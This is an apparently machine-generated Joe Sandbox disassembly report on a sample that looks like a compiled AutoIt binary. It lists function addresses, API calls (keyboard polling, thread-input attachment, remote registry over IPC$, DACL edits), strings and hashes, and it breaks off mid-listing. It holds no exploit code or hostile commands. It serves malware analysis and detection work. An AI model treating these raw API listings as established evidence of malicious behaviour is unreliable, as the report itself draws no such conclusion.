Function 00007FF6B5BA34E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6B5BA354D
LoadStringW.USER32 ref: 00007FF6B5BA3571
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6B5BA36CB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6B5BA36E7

Strings

"%s" (%d) : ==> %s:, xrefs: 00007FF6B5BA36D9
Line %d (File "%s"):, xrefs: 00007FF6B5BA35C0
^ ERROR, xrefs: 00007FF6B5BA364A
Error: , xrefs: 00007FF6B5BA367B
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF6B5BA36B2

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-2391861430
Opcode ID: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
Instruction ID: ca6a730a61b201f121f56354ad85355b10bc7bbb4b9710467dbe654fdd823e05
Opcode Fuzzy Hash: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
Instruction Fuzzy Hash: 2571A322B18A4296EB40DB69D8614E96760FF46F84F801032EB0D9769FDF7DED06C740

Function 00007FF6B5B8C034 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124registryshareCOMMON

Download Yara Rule

APIs

WNetAddConnection2W.MPR ref: 00007FF6B5B8C143
RegConnectRegistryW.ADVAPI32 ref: 00007FF6B5B8C164
RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5B8C193
RegQueryValueExW.ADVAPI32 ref: 00007FF6B5B8C1CD
CLSIDFromString.OLE32 ref: 00007FF6B5B8C1F4
RegCloseKey.ADVAPI32 ref: 00007FF6B5B8C203
RegCloseKey.ADVAPI32 ref: 00007FF6B5B8C20E

Strings

SOFTWARE\Classes\, xrefs: 00007FF6B5B8C088
\IPC$, xrefs: 00007FF6B5B8C118
\CLSID, xrefs: 00007FF6B5B8C0A6

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 3030280669-22481851
Opcode ID: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction ID: e30fdbf16c80a895a2c6fc5020a3dbb0f16d1e33fe91a37474cc3445b20c737f
Opcode Fuzzy Hash: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
Instruction Fuzzy Hash: 8051DB22718A8395EB10DF69E8A05ED67A0FB85B84F405031EB0D87ABEDF7CD985C740

Function 00007FF6B5B8C858 Relevance: 16.7, APIs: 11, Instructions: 166COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B8CD34: GetUserObjectSecurity.USER32 ref: 00007FF6B5B8CD65
Part of subcall function 00007FF6B5B8CD34: GetLastError.KERNEL32(?,?,?,?,00000000,00007FF6B5B8C65A), ref: 00007FF6B5B8CD71
Part of subcall function 00007FF6B5B8CD34: GetUserObjectSecurity.USER32 ref: 00007FF6B5B8CD9C

Part of subcall function 00007FF6B5B8CE28: InitializeSecurityDescriptor.ADVAPI32(?,?,00000000,00007FF6B5B8C66F), ref: 00007FF6B5B8CE4D

GetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6B5B8C8E7
GetAclInformation.ADVAPI32 ref: 00007FF6B5B8C921
GetLengthSid.ADVAPI32 ref: 00007FF6B5B8C932
GetAce.ADVAPI32 ref: 00007FF6B5B8C970
AddAce.ADVAPI32 ref: 00007FF6B5B8C997
GetLengthSid.ADVAPI32 ref: 00007FF6B5B8C9AF
GetLengthSid.ADVAPI32 ref: 00007FF6B5B8C9D2
CopySid.ADVAPI32 ref: 00007FF6B5B8C9E1
AddAce.ADVAPI32 ref: 00007FF6B5B8CA27
SetSecurityDescriptorDacl.ADVAPI32 ref: 00007FF6B5B8CA4B
SetUserObjectSecurity.USER32 ref: 00007FF6B5B8CA60

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 1255039815-0
Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction ID: 528b507776aaa66ffda24dc2ba12ab3bfef538891f0136747bbf35cce7ead536
Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
Instruction Fuzzy Hash: 4261AC62B146528AEB10CF69D8609EC37A4BB46F88B145036DF5E9BBDEDF38D845C340

Function 00007FF6B5B97BA0 Relevance: 16.6, APIs: 11, Instructions: 106keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF6B5B97BD0
GetAsyncKeyState.USER32 ref: 00007FF6B5B97C3F
GetKeyState.USER32 ref: 00007FF6B5B97C54
GetAsyncKeyState.USER32 ref: 00007FF6B5B97C6D
GetKeyState.USER32 ref: 00007FF6B5B97C7D
GetAsyncKeyState.USER32 ref: 00007FF6B5B97C97
GetKeyState.USER32 ref: 00007FF6B5B97CA7
GetAsyncKeyState.USER32 ref: 00007FF6B5B97CC1
GetKeyState.USER32 ref: 00007FF6B5B97CD1
GetAsyncKeyState.USER32 ref: 00007FF6B5B97CEB
GetKeyState.USER32 ref: 00007FF6B5B97CFB

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction ID: 75b53f7151ccfdd41714a95bede87f2a29d3af09bbe0f507a468a6cdc7e7b44d
Opcode Fuzzy Hash: 0d5fea19e654a2244c488208034703c69de1b6555bf9c6d80bb1d0db3dd32864
Instruction Fuzzy Hash: 87417161E0C6C555FB719B6894207F92BE0EF27F44F888039D789831CBCE9DAC9483A1

Function 00007FF6B5B2E774 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 438COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B26838: CreateFileW.KERNELBASE ref: 00007FF6B5B268A2

Part of subcall function 00007FF6B5B44380: GetCurrentDirectoryW.KERNEL32(?,00007FF6B5B2E817), ref: 00007FF6B5B4439C

Part of subcall function 00007FF6B5B256D4: GetFullPathNameW.KERNEL32(?,00007FF6B5B256C1,?,00007FF6B5B27A0C,?,?,?,00007FF6B5B2109E), ref: 00007FF6B5B256FF

SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5B2E8B0
SetCurrentDirectoryW.KERNEL32 ref: 00007FF6B5B2E9FA

Part of subcall function 00007FF6B5B29F10: wcscpy.LIBCMT ref: 00007FF6B5B29F61

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00007FF6B5B7A109
Bad directive syntax error, xrefs: 00007FF6B5B7A3FB
Error opening the file, xrefs: 00007FF6B5B7A09B, 00007FF6B5B7A428
#include depth exceeded. Make sure there are no recursive includes, xrefs: 00007FF6B5B7A07A
AU3!, xrefs: 00007FF6B5B2E85F
EA06, xrefs: 00007FF6B5B7A0BB
Unterminated string, xrefs: 00007FF6B5B7A483

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 2207129308-1018226102
Opcode ID: 9e353b9dea71d8b148a77ae9d5417696022b9ba423a55aa08e3b4c2b264401ec
Instruction ID: 1e06410e8d5c084e66b755c6b5bb1adbebf75c2cd596131d5000e0746fa7a149
Opcode Fuzzy Hash: 9e353b9dea71d8b148a77ae9d5417696022b9ba423a55aa08e3b4c2b264401ec
Instruction Fuzzy Hash: 7A12A422A1868286EB50DF29D4611FE6760FB86B94F800132EB4D87A9FDF7DD945CB10

Function 00007FF6B5BB66B4 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 182comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 00007FF6B5BB6717
CoUninitialize.OLE32 ref: 00007FF6B5BB6721
CoCreateInstance.OLE32 ref: 00007FF6B5BB6791
IIDFromString.OLE32 ref: 00007FF6B5BB6810
VariantInit.OLEAUT32 ref: 00007FF6B5BB68AF
VariantClear.OLEAUT32 ref: 00007FF6B5BB6900

Strings

Failed to create object, xrefs: 00007FF6B5BB679B
NULL Pointer assignment, xrefs: 00007FF6B5BB67DE
Invalid parameter, xrefs: 00007FF6B5BB6828

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 636576611-1287834457
Opcode ID: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
Instruction ID: 9cb8f6a4497280a01777a41585da5106701f992e951318f91be9d6122247a89a
Opcode Fuzzy Hash: 8c345a5387659736622c9a6324c4ad6192b7bfb9348048406af0be26295ea1d3
Instruction Fuzzy Hash: 87716126A04A4685EB14AF2AD4A01FD2760FF46F98F545436DF0E877AADF78EC46C340

Function 00007FF6B5B5D504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B5D681

Strings

nan(ind), xrefs: 00007FF6B5B5D5BA
NAN, xrefs: 00007FF6B5B5D565
nan, xrefs: 00007FF6B5B5D56C
inf, xrefs: 00007FF6B5B5D58A
NAN(SNAN), xrefs: 00007FF6B5B5D599
NAN(IND), xrefs: 00007FF6B5B5D5AF
INF, xrefs: 00007FF6B5B5D577
nan(snan), xrefs: 00007FF6B5B5D5A4

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction ID: bd94b5a823eddc4882d783d8a7070508a94c093d4bfdbd9aaa726fe69bf1ca06
Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
Instruction Fuzzy Hash: 6A419F72A06B4589FB54CF29E8617E933A4EB09B98F404235EF5C47B9ADE3CD915C340

Function 00007FF6B5BA59D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 96COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 00007FF6B5BA59FB
GetDiskFreeSpaceW.KERNEL32 ref: 00007FF6B5BA5A86
GetLastError.KERNEL32 ref: 00007FF6B5BA5A90
SetErrorMode.KERNEL32 ref: 00007FF6B5BA5B17

Strings

NOTREADY, xrefs: 00007FF6B5BA5AB7
READY, xrefs: 00007FF6B5BA5AD6
READONLY, xrefs: 00007FF6B5BA5AC4
INVALID, xrefs: 00007FF6B5BA5ACD
UNKNOWN, xrefs: 00007FF6B5BA5AB0

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction ID: 2a02cb0988097ed6730c6cf26375670aad4ab34ecd3d8860dc96bded3702efb8
Opcode Fuzzy Hash: f10055d30637c38e5cee514d44455591cda2366b25399950410d251fa1d84edd
Instruction Fuzzy Hash: 4E414D76B08A4695EB109B69D4A05EC37B1FB8AF94F444432CB0D837AEDF38E995C710

Function 00007FF6B5B976D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000001,00007FF6B5B6C8E3,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00007FF6B5B23F7D), ref: 00007FF6B5B9770E
LoadStringW.USER32 ref: 00007FF6B5B97728
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6B5B9776B
MessageBoxW.USER32 ref: 00007FF6B5B977FF

Strings

Line %d (File "%s"):, xrefs: 00007FF6B5B97792
., xrefs: 00007FF6B5B977DC
%s (%d) : ==> %s.: %s %s, xrefs: 00007FF6B5B97755
Error: , xrefs: 00007FF6B5B977BE
Line %d:, xrefs: 00007FF6B5B97781

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: HandleLoadMessageModuleStringwprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 4007322891-4153970271
Opcode ID: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
Instruction ID: c5154144e3295f01950303ea6928c3f7438959d6cd5d567eb4d091645810faee
Opcode Fuzzy Hash: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
Instruction Fuzzy Hash: 3B314D36A18A8291EB10DB29E8615F96760FF96F84F904032EB4D8369FDF7DE905C740

Function 00007FF6B5B8E08C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B90730: GetClassNameW.USER32 ref: 00007FF6B5B9075B

SendMessageW.USER32 ref: 00007FF6B5B8E125
GetDlgCtrlID.USER32 ref: 00007FF6B5B8E137
GetParent.USER32 ref: 00007FF6B5B8E148
SendMessageW.USER32 ref: 00007FF6B5B8E15C
GetDlgCtrlID.USER32 ref: 00007FF6B5B8E168
GetParent.USER32 ref: 00007FF6B5B8E177
SendMessageW.USER32 ref: 00007FF6B5B8E18B

Strings

ComboBox, xrefs: 00007FF6B5B8E0A6
ListBox, xrefs: 00007FF6B5B8E0DF

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
Instruction ID: 48b6e959c3d638c37bbc18ea46b20115efacc39a35e506289910cdfae4da4ffa
Opcode Fuzzy Hash: 69a74828d989a32538d8bf5129078fe410d4974b60f3824db6dc34d50caf6ec7
Instruction Fuzzy Hash: 7931A635B08B4582FA10AB19E8255F96361FF8AFE0F444231DBAD877DBCE2CE9058750

Function 00007FF6B5B8E1AC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B90730: GetClassNameW.USER32 ref: 00007FF6B5B9075B

SendMessageW.USER32 ref: 00007FF6B5B8E244
GetDlgCtrlID.USER32 ref: 00007FF6B5B8E256
GetParent.USER32 ref: 00007FF6B5B8E267
SendMessageW.USER32 ref: 00007FF6B5B8E27B
GetDlgCtrlID.USER32 ref: 00007FF6B5B8E287
GetParent.USER32 ref: 00007FF6B5B8E296
SendMessageW.USER32 ref: 00007FF6B5B8E2AA

Strings

ComboBox, xrefs: 00007FF6B5B8E1C6
ListBox, xrefs: 00007FF6B5B8E1FF

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName
String ID: ComboBox$ListBox
API String ID: 2573188126-1403004172
Opcode ID: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
Instruction ID: fb94cf34db03f9b1b4638df830a46efde8e5b050a7100fd7cb82096389cb002a
Opcode Fuzzy Hash: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
Instruction Fuzzy Hash: 5031CD35B08B8282FB109B19E8655F96361BF8AFE0F444131DB9D877DBDE2CE9098750

Function 00007FF6B5B992E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B99318
GetForegroundWindow.USER32(?,?,?,00007FF6B5B980FE), ref: 00007FF6B5B99329
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B99334
AttachThreadInput.USER32(?,?,?,00007FF6B5B980FE), ref: 00007FF6B5B99348
GetWindowThreadProcessId.USER32 ref: 00007FF6B5B9935E
AttachThreadInput.USER32(?,?,?,00007FF6B5B980FE), ref: 00007FF6B5B9937A
AttachThreadInput.USER32(?,?,?,00007FF6B5B980FE), ref: 00007FF6B5B99393
AttachThreadInput.USER32(?,?,?,00007FF6B5B980FE), ref: 00007FF6B5B993D2
AttachThreadInput.USER32(?,?,?,00007FF6B5B980FE), ref: 00007FF6B5B993ED
AttachThreadInput.USER32(?,?,?,00007FF6B5B980FE), ref: 00007FF6B5B99400

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction ID: 705e0c675112bbb471c326cfdc54a7c1f9fff74f12080dc3b3ec69ec92c910aa
Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
Instruction Fuzzy Hash: F1316425F0C61286FB618B2DA86467973A2AB56F50F144038CE0EC779FDE3DEC958B00

Function 00007FF6B5B8E908 Relevance: 15.1, APIs: 10, Instructions: 59keyboardsleepwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5B903F8: GetWindowThreadProcessId.USER32 ref: 00007FF6B5B90414
Part of subcall function 00007FF6B5B903F8: GetCurrentThreadId.KERNEL32 ref: 00007FF6B5B9041C
Part of subcall function 00007FF6B5B903F8: AttachThreadInput.USER32(?,?,?,00007FF6B5B8E921), ref: 00007FF6B5B90441

MapVirtualKeyW.USER32 ref: 00007FF6B5B8E92C
PostMessageW.USER32 ref: 00007FF6B5B8E947
Sleep.KERNEL32 ref: 00007FF6B5B8E94F
MapVirtualKeyW.USER32 ref: 00007FF6B5B8E959
MapVirtualKeyW.USER32 ref: 00007FF6B5B8E964
PostMessageW.USER32 ref: 00007FF6B5B8E982
Sleep.KERNEL32 ref: 00007FF6B5B8E98A
MapVirtualKeyW.USER32 ref: 00007FF6B5B8E994
PostMessageW.USER32 ref: 00007FF6B5B8E9B6
Sleep.KERNEL32 ref: 00007FF6B5B8E9BE

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
String ID:
API String ID: 685491774-0
Opcode ID: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
Instruction ID: a220ef4314cacfefe9318ac9e0f79b5aacffe79d54d4b2277cc4f493d71ed096
Opcode Fuzzy Hash: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
Instruction Fuzzy Hash: 7411A535B4850342F7049B6AE868DAD2261AFCEF80F505034CB1ECBBDADE3DE8548350

Function 00007FF6B5B8F7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON

Download Yara Rule

Strings

REGEXPCLASS, xrefs: 00007FF6B5B8F988, 00007FF6B5B8F99D
CLASS, xrefs: 00007FF6B5B8F8A8, 00007FF6B5B8F8D1
CLASSNN, xrefs: 00007FF6B5B8F924, 00007FF6B5B8F935
